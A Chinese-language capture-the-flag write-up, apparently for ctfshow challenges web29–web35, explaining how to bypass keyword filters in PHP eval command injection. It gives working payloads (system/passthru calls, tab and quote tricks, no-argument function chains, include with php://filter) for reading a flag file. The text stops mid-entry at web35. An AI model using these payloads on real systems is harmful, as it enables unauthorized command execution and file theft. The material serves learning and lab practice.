- web29
- web30
- web31
- web32
- web33
- web34
- web35
- web36
- web37
- web38
解答:eval可以执行php语句。 匹配字符串flag
,那么使用通配符、单引号(成对)等方式简单绕过。
payload:?c=system('cat fl*');
也可以:?c=echo `nl fl''ag.p''hp`;
进一步学习:
常用的读取命令:cat,nl,tac,more,sort
web30解答: 源码过滤了system,可以采用passthru。
payload:?c=passthru("cat fl*");
依旧可以使用:?c=echo `nl fl''ag.p''hp`;
进一步学习: php命令执行的函数:
system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub) //第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open();//详细用法百度吧
pcntl_exec();//如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号//(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)
web31
解答:过滤了空格和cat,那么改用tab代替空格。 payload:?c=passthru("more%09f*");
或者也可以利用无参数函数: ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
进一步学习:
无参数函数RCE
linux适用空格绕过:闭合php,因为php语法中,最后一句php代码可以不闭合(这里有一点要说一下,
?>
闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的); 过滤了括号,就找不用括号的函数,php中include是可以不带括号的。include还可以实现文件包含。
payload:?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
原理大概就是,这里是传了两个参数,第一个参数c的内容include$_GET["a"]?>
,第二个参数a是不受后边匹配条件的影响。
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。这里,也可以用$_POST,那么后续传参就通过post传参。
进一步学习:文件包含&伪协议
web33解答: 过滤了双引号,那么就去掉双引号,直接加变量名。
payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
解答:过滤了冒号。不影响。继续用上题的payload。
web35解答:过滤了
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?